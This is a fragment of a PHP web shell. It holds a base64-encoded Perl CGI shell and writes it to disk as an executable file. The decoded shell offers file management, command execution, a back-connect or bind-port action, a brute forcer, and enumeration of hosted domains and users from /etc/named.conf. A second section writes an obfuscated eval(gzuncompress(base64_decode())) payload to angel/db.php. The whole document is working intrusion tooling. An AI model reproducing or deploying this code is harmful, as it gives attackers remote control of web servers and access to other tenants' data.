JCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
1784$file = fopen("telnet.cok" ,"w+");
1785$write = fwrite ($file ,base64_decode($cgi2012));
1786fclose($file);
1787chmod("telnet.cok",0755);
1788echo "<iframe src=telnet/telnet.cok width=96% height=76% frameborder=0></iframe></div>";
1789}
1790
1791
1792# x=mysql2
1793elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql2')) {
1794
1795echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
1796echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
1797if (!is_dir('angel')){
1798$mk = @mkdir('angel',0777);
1799@fwrite($f , $c);
1800$f2 =@fopen('angel/db.php','w');
1801$sml_db =
1802"PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MW